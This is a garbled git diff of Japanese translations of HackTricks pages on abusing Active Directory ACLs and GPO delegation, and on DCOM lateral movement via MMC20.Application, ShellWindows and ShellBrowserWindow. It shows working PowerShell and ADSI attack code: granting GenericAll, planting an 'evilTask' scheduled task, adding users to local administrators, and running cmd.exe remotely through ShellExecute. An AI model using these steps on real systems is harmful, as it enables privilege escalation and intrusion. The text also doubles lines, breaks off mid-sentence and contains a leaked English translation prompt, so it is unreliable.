...ADSIの魔法を使って、自分自身に [`GenericAll`](../../../windows/active-directory-methodology/broken-reference/) 特権を与えることができます: ...ADSIの魔法を使って、自分自身に[`GenericAll`](../../../windows/active-directory-methodology/broken-reference/)特権を与えることができます:
```csharp ```csharp
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -272,7 +321,7 @@ $ADSI.psbase.commitchanges()
これにより、新しいユーザーをグループに追加することができます。 これにより、新しいユーザーをグループに追加することができます。
興味深いことに、Active Directoryモジュールと`Set-Acl` / `Get-Acl`コマンドレットを使用してこれらの特権を悪用することはできませんでした 興味深いことに、Active Directoryモジュールと`Set-Acl` / `Get-Acl`コマンドレットを使用してこれらの特権を悪用することはできませんでした
```csharp ```csharp
$path = "AD:\CN=test,CN=Users,DC=offense,DC=local" $path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
$acl = Get-Acl -Path $path $acl = Get-Acl -Path $path
@ -287,13 +336,13 @@ Set-Acl -Path $path -AclObject $acl
**DCSync**権限は、ドメイン自体に対して次の権限を持つことを意味します:**DS-Replication-Get-Changes**、**Replicating Directory Changes All**、および**Replicating Directory Changes In Filtered Set**。\ **DCSync**権限は、ドメイン自体に対して次の権限を持つことを意味します:**DS-Replication-Get-Changes**、**Replicating Directory Changes All**、および**Replicating Directory Changes In Filtered Set**。\
[**DCSync攻撃について詳しくはこちらをご覧ください。**](../dcsync.md) [**DCSync攻撃について詳しくはこちらをご覧ください。**](../dcsync.md)
## GPO委任 <a href="#gpo-delegation" id="gpo-delegation"></a> ## GPO委任 <a href="#gpo-delegation" id="gpo-delegation"></a>
時には、特定のユーザー/グループがGroup Policy Objectsを管理するためにアクセスを委任される場合があります。例えば、`offense\spotless`ユーザーの場合です: 時には、特定のユーザー/グループがGroup Policy Objectsを管理するためにアクセスを委任される場合があります。例えば、`offense\spotless`ユーザーの場合です:
![](../../../.gitbook/assets/a13.png) ![](../../../.gitbook/assets/a13.png)
PowerViewを利用してこれを確認することができます: PowerViewを活用することで、これを確認することができます:
```bash ```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
``` ```
@ -303,11 +352,11 @@ Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
### GPOの権限を列挙する <a href="#abusing-the-gpo-permissions" id="abusing-the-gpo-permissions"></a> ### GPOの権限を列挙する <a href="#abusing-the-gpo-permissions" id="abusing-the-gpo-permissions"></a>
上記のスクリーンショットから、ObjectDNが`New Group Policy Object` GPOを指していることがわかります。なぜなら、ObjectDNが`CN=Policies`を指し、また`CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}`もGPOの設定で同じであるからです。以下に示すようにハイライトされています。 上記のスクリーンショットから、ObjectDNが`CN=Policies`を指し、またGPOの設定でハイライトされている`CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}`と同じであるため、上記のObjectDNは`New Group Policy Object` GPOを指していることがわかります。
![](../../../.gitbook/assets/a15.png) ![](../../../.gitbook/assets/a15.png)
特定の設定ミスのあるGPOを検索したい場合は、PowerSploitの複数のコマンドレットを連鎖させることができます。 特定の設定ミスのあるGPOを検索したい場合は、PowerSploitの複数のコマンドレットを以下のように連鎖させることができます。
```powershell ```powershell
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
``` ```
@ -315,13 +364,13 @@ Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityRefere
**指定されたポリシーが適用されたコンピューター** **指定されたポリシーが適用されたコンピューター**
次に、GPO「Misconfigured Policy」が適用されているコンピューターを解決できます。 次に、GPO「Misconfigured Policy」が適用されているコンピューター名を解決できます。
```powershell ```powershell
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_} Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
``` ```
**特定のコンピュータに適用されるポリシー** ![](../../../.gitbook/assets/a17.png)
The following is content from a hacking book about hacking techiques. The following content is from the file /hive/hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md. Translate the relevant English text to Japanese and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax. **特定のコンピュータに適用されるポリシー**
```powershell ```powershell
Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName
``` ```
@ -369,16 +418,16 @@ GPOを作成することはできないため、引き続きRSATを使用する
``` ```
### ポリシーの強制更新 <a href="#force-policy-update" id="force-policy-update"></a> ### ポリシーの強制更新 <a href="#force-policy-update" id="force-policy-update"></a>
の悪意のある**GPOの更新はおおよそ90分ごとに再読み込み**されます。\ 回の乱用された **GPOの更新はおおよそ90分ごとに再読み込み** されます。\
コンピュータにアクセスできる場合は、`gpupdate /force`で強制的に更新することができます。 コンピュータにアクセスできる場合は、`gpupdate /force` で強制的に更新することができます。
### 内部構造 <a href="#under-the-hood" id="under-the-hood"></a> ### 内部構造 <a href="#under-the-hood" id="under-the-hood"></a>
`Misconfigured Policy` GPOのスケジュールされたタスクを観察すると、`evilTask`がそこに存在していることがわかります: `Misconfigured Policy` GPOのスケジュールされたタスクを観察すると、`evilTask` がそこに存在していることがわかります:
![](../../../.gitbook/assets/a22.png) ![](../../../.gitbook/assets/a22.png)
以下は、GPO内の悪意のあるスケジュールされたタスクを表す`New-GPOImmediateTask`によって作成されたXMLファイルです: 以下は、GPO内の私たちの邪悪なスケジュールされたタスクを表す `New-GPOImmediateTask` によって作成されたXMLファイルです:
{% code title="\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml" %} {% code title="\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml" %}
```markup ```markup
@ -443,7 +492,7 @@ GPOを作成することはできないため、引き続きRSATを使用する
### ユーザーとグループ <a href="#users-and-groups" id="users-and-groups"></a> ### ユーザーとグループ <a href="#users-and-groups" id="users-and-groups"></a>
同じ特権昇格は、GPOのユーザーとグループ機能を悪用することで達成することができます。以下のファイルの6行目に注目してください。ここでは、ユーザー`spotless`がローカルの`administrators`グループに追加されています。ユーザーを他のものに変更したり、別のユーザーを追加したり、ユーザーを別のグループ/複数のグループに追加したりすることができます。なぜなら、GPOの委任が私たちのユーザー`spotless`に割り当てられているため、表示される場所のポリシー設定ファイルを変更できるからです。 同じ特権昇格は、GPOのユーザーとグループ機能を悪用することで達成することができます。以下のファイルの6行目に注目してください。ここでは、ユーザー`spotless`がローカルの`administrators`グループに追加されています。私たちはユーザーを他のものに変更したり、別のユーザーを追加したり、ユーザーを別のグループ/複数のグループに追加したりすることができます。なぜなら、GPOの委任が私たちのユーザー`spotless`に割り当てられているため、表示される場所のポリシー設定ファイルを変更することができるからです。
{% code title="\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups" %} {% code title="\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups" %}
```markup ```markup
@ -460,7 +509,7 @@ GPOを作成することはできないため、引き続きRSATを使用する
``` ```
{% endcode %} {% endcode %}
さらに、ログオン/ログオフスクリプトを用したり、レジストリを使用して自動実行を行ったり、.msiをインストールしたり、サービスを編集したりすることも考えられます。 さらに、ログオン/ログオフスクリプトを用したり、レジストリを使用して自動実行を行ったり、.msiをインストールしたり、サービスを編集したりすることも考えられます。
## 参考文献 ## 参考文献
@ -471,14 +520,21 @@ GPOを作成することはできないため、引き続きRSATを使用する
* [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658) * [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
* [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_) * [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より迅速に修正できます。Intruderは攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、テックスタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** * **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>

View file

@ -4,25 +4,33 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですかまたは、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)****
* **ハッキングのトリックを共有する**ために、[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 * **ハッキングのトリックを共有する**ために、[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象の範囲を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## MMC20.Application ## MMC20.Application
**DCOM**(分散コンポーネントオブジェクトモデル)オブジェクトは、オブジェクトを**ネットワーク上で相互作用**させる能力があるため、**興味深い**です。Microsoftは、DCOMに関する良いドキュメントを[こちら](https://msdn.microsoft.com/en-us/library/cc226801.aspx)で、COMに関するドキュメントを[こちら](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx)で提供しています。PowerShellを使用して、`Get-CimInstance Win32_DCOMApplication`を実行することで、DCOMアプリケーションの一覧を取得できます。 **DCOM**(分散コンポーネントオブジェクトモデル)オブジェクトは、オブジェクトを**ネットワーク上で相互作用**させることができるため、**興味深い**です。Microsoftは、DCOMに関する[こちら](https://msdn.microsoft.com/en-us/library/cc226801.aspx)とCOMに関する[こちら](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx)で良いドキュメントを提供しています。PowerShellを使用して、`Get-CimInstance Win32_DCOMApplication`を実行することで、DCOMアプリケーションの一覧を取得できます。
[MMC Application ClassMMC20.Application](https://technet.microsoft.com/en-us/library/cc181199.aspx) COMオブジェクトは、MMCスナップイン操作のコンポーネントをスクリプト化することができます。このCOMオブジェクト内の異なるメソッドとプロパティを列挙している間、Document.ActiveViewの下に`ExecuteShellCommand`というメソッドがあることに気付きました。 [MMC Application ClassMMC20.Application](https://technet.microsoft.com/en-us/library/cc181199.aspx) COMオブジェクトは、MMCスナップイン操作のコンポーネントをスクリプト化することができます。このCOMオブジェクト内の異なるメソッドとプロパティを列挙しているときに、Document.ActiveViewの下に`ExecuteShellCommand`というメソッドがあることに気付きました。
![](<../../.gitbook/assets/image (4) (2) (1) (1).png>) ![](<../../.gitbook/assets/image (4) (2) (1) (1).png>)
このメソッドについては[こちら](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx)で詳しく説明されています。これまでに、ネットワーク経由でアクセスできるDCOMアプリケーションでコマンドを実行できるようになりました。最後のピースは、このDCOMアプリケーションとExecuteShellCommandメソッドを利用して、リモートホストでコードを実行することです。 このメソッドについては[こちら](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx)で詳しく読むことができます。これまでに、ネットワーク経由でアクセスでき、コマンドを実行できるDCOMアプリケーションがあります。最後のピースは、このDCOMアプリケーションとExecuteShellCommandメソッドを利用して、リモートホストでコードを実行することです。
幸いなことに、管理者として、PowerShellを使用してDCOMとリモートで対話することができます。`[activator]::CreateInstance([type]::GetTypeFromProgID`を使用するだけで、DCOM ProgIDとIPアドレスを指定する必要があります。それによって、リモートでそのCOMオブジェクトのインスタンスが提供されます。 幸いなことに、管理者として、PowerShellを使用してDCOMとリモートで対話することができます。`[activator]::CreateInstance([type]::GetTypeFromProgID`を使用するだけで、DCOM ProgIDとIPアドレスを指定する必要があります。それによ、リモートでそのCOMオブジェクトのインスタンスが提供されます。
![](<../../.gitbook/assets/image (665).png>) ![](<../../.gitbook/assets/image (665).png>)
@ -30,18 +38,17 @@
![](<../../.gitbook/assets/image (1) (4) (1).png>) ![](<../../.gitbook/assets/image (1) (4) (1).png>)
## ShellWindowsShellBrowserWindow ## ShellWindows & ShellBrowserWindow
**MMC20.Application**オブジェクトには明示的な「[LaunchPermissions](https://technet.microsoft.com/en-us/library/bb633148.aspx)」がなく、デフォルトの許可セットでは管理者がアクセスできるようになっています。 **MMC20.Application**オブジェクトには明示的な「[LaunchPermissions](https://technet.microsoft.com/en-us/library/bb633148.aspx)」がなく、デフォルトの許可セットでは管理者がアクセスできるようになっています。
![](<../../.gitbook/assets/image (4) (1) (2).png>) ![](<../../.gitbook/assets/image (4) (1) (2).png>)
このスレッドの詳細については、[こちら](https://twitter.com/tiraniddo/status/817532039771525120)をご覧ください。\ [@tiraniddo](https://twitter.com/tiraniddo)の[OleView .NET](https://github.com/tyranid/oleviewdotnet)を使用すると、明示的なLaunchPermissionが設定されていない他のオブジェクトを表示できます。この場合、明示的なLaunch Permissionがないすべてのオブジェクトに絞り込むことができます。そうすると、`ShellBrowserWindow`と`ShellWindows`という2つのオブジェクトが目立ちました。
明示的なLaunchPermissionが設定されていない他のオブジェクトを表示するには、[@tiraniddo](https://twitter.com/tiraniddo)の[OleView .NET](https://github.com/tyranid/oleviewdotnet)を使用することができます。このツールには、優れたPythonフィルターなどがあります。この場合、明示的なLaunch Permissionがないすべてのオブジェクトに絞り込むことができます。そうすると、`ShellBrowserWindow`と`ShellWindows`という2つのオブジェクトが目立ちます。
![](<../../.gitbook/assets/image (3) (1) (1) (2).png>) ![](<../../.gitbook/assets/image (3) (1) (1) (2).png>)
潜在的なターゲットオブジェクトを特定する別の方法は、`HKCR:\AppID\{guid}`のキーから値`LaunchPermission`が欠落しているかどうかを確認することです。Launch Permissionsが設定されているオブジェクトは、以下のようになります。データはオブジェクトのACLをバイナリ形式で表しています。 潜在的なターゲットオブジェクトを特定する別の方法は、`HKCR:\AppID\{guid}`のキーから値`LaunchPermission`が欠落しているかどうかを確認することです。Launch Permissionsが設定されているオブジェクトは、データがバイナリ形式でオブジェクトのACLを表している以下のようになります。
![](https://enigma0x3.files.wordpress.com/2017/01/launch\_permissions\_registry.png?w=690\&h=169) ![](https://enigma0x3.files.wordpress.com/2017/01/launch\_permissions\_registry.png?w=690\&h=169)
@ -49,13 +56,8 @@
### ShellWindows ### ShellWindows
最初に調査されたオブジェクトは[ShellWindows](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773974\(v=vs.85\).aspx)です。このオブジェクトには[ProgID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms688254\(v=vs.85\).aspx)が関連付けられていないため、[Type.GetTypeFromCLSID](https://msdn.microsoft.com/en-us/library/system.type.gettypefromclsid\(v=vs.110\).aspx) .NETメソッドと[Activator.CreateInstance](https://msdn.microsoft.com/en-us/library/system.activator.createinstance\(v=vs.110\).aspx)メソッドを使用して、リモートホスト上のAppIDを介してオブジェクトをインスタンス化することができます。これを行うためには、ShellWindowsオブジェクトの[CLSID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms691424\(v=vs.85\).aspx)を取得する必要があります。これはOleView .NETを使用して行うこともできます。 最初に調査したオブジェクトは[ShellWindows](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773974\(v=vs.85\).aspx)です。このオブジェクトには[ProgID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms688254\(v=vs.85\).aspx)が関連付けられていないため、[Type.GetTypeFromCLSID](https://msdn.microsoft.com/en-us/library/system.type.gettypefromclsid\(v=vs.110\).aspx) .NETメソッドと[Activator.CreateInstance](https://msdn.microsoft.com/en-us/library/system.activator.createinstance\(v=vs.110\).aspx)メソッドを使用して、リモートホスト上のAppIDを介してオブジェクトをインスタンス化することができます。これを行うためには、ShellWindows
CLSIDを取得したので、リモートターゲット上でオブジェクトをインスタンス化することができます。
![shellwindow\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellwindow\_classid.png?w=434\&h=424)
以下のように、「Launch Permission」フィールドが空白であることがわかります。つまり、明示的な許可が設定されていません。
![screen-shot-2017-01-23-at-4-12-24-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-12-24-pm.png
```powershell ```powershell
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") #9BA05972-F6A8-11CF-A442-00A0C90A8F39 $com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") #9BA05972-F6A8-11CF-A442-00A0C90A8F39
$obj = [System.Activator]::CreateInstance($com) $obj = [System.Activator]::CreateInstance($com)
@ -68,7 +70,7 @@ $item = $obj.Item()
``` ```
![](https://enigma0x3.files.wordpress.com/2017/01/item\_instantiation.png?w=416\&h=465) ![](https://enigma0x3.files.wordpress.com/2017/01/item\_instantiation.png?w=416\&h=465)
シェルウィンドウを完全に制御できるようになったので、公開されているすべての予想されるメソッド/プロパティにアクセスできます。これらのメソッドを調べた結果、**`Document.Application.ShellExecute`** が目立ちました。メソッドのパラメータ要件に従うようにしてください。パラメータ要件は[こちら](https://msdn.microsoft.com/en-us/library/windows/desktop/gg537745\(v=vs.85\).aspx)でドキュメント化されています。 シェルウィンドウの完全なハンドルを持っていると、公開されているすべての予想されるメソッド/プロパティにアクセスできます。これらのメソッドを調べた結果、**`Document.Application.ShellExecute`** が目立ちました。メソッドのパラメータ要件に従てください。パラメータ要件は[こちら](https://msdn.microsoft.com/en-us/library/windows/desktop/gg537745\(v=vs.85\).aspx)でドキュメント化されています。
```powershell ```powershell
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0) $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
``` ```
@ -78,9 +80,9 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
### ShellBrowserWindow ### ShellBrowserWindow
この特定のオブジェクトはWindows 7に存在せず、Win7-Win10で成功裏にテストされた「ShellWindows」オブジェクトよりも、横方向の移動に対する使用範囲が制限されています。 この特定のオブジェクトはWindows 7に存在せず、Win7-Win10で成功裏にテストされた「ShellWindows」オブジェクトよりも、横方向の移動には制限があります。
このオブジェクトの列挙に基づいて、前のオブジェクトと同様にエクスプローラウィンドウへのインターフェースを効果的に提供しているようです。このオブジェクトをインスタンス化するには、そのCLSIDを取得する必要があります。上記と同様に、OleView .NETを使用できます。 このオブジェクトの列挙に基づいて、前のオブジェクトと同様にエクスプローラーウィンドウへのインターフェースを提供するようです。このオブジェクトをインスタンス化するには、そのCLSIDを取得する必要があります。上記と同様に、OleView .NETを使用できます。
![shellbrowser\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellbrowser\_classid.png?w=428\&h=414) ![shellbrowser\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellbrowser\_classid.png?w=428\&h=414)
@ -101,7 +103,7 @@ $obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\sys
このオブジェクトはWindowsシェルと直接連携しているため、前のオブジェクトと同様に「ShellWindows.Item」メソッドを呼び出す必要はありません。 このオブジェクトはWindowsシェルと直接連携しているため、前のオブジェクトと同様に「ShellWindows.Item」メソッドを呼び出す必要はありません。
これらの2つのDCOMオブジェクトは、リモートホストでシェルコマンドを実行するために使用できますが、他にもリモートターゲットの列挙や改ざんに使用できる興味深いメソッドがたくさんあります。これらのメソッドのいくつかは次のとおりです: これらの2つのDCOMオブジェクトは、リモートホストでシェルコマンドを実行するために使用できますが、他にもリモートターゲットの列挙や改ざんに使用できる興味深いメソッドがたくさんあります。これらのメソッドには次のものがあります:
* `Document.Application.ServiceStart()` * `Document.Application.ServiceStart()`
* `Document.Application.ServiceStop()` * `Document.Application.ServiceStop()`
@ -142,14 +144,21 @@ Powershellスクリプト[**Invoke-DCOM.ps1**](https://github.com/EmpireProject/
* 最初の方法は[https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)からコピーされました。詳細についてはリンクを参照してください。 * 最初の方法は[https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)からコピーされました。詳細についてはリンクを参照してください。
* 2番目のセクションは[https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)からコピーされました。詳細についてはリンクを参照してください。 * 2番目のセクションは[https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)からコピーされました。詳細についてはリンクを参照してください。
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
重要な脆弱性を見つけて、より迅速に修正できるようにしましょう。Intruderは攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
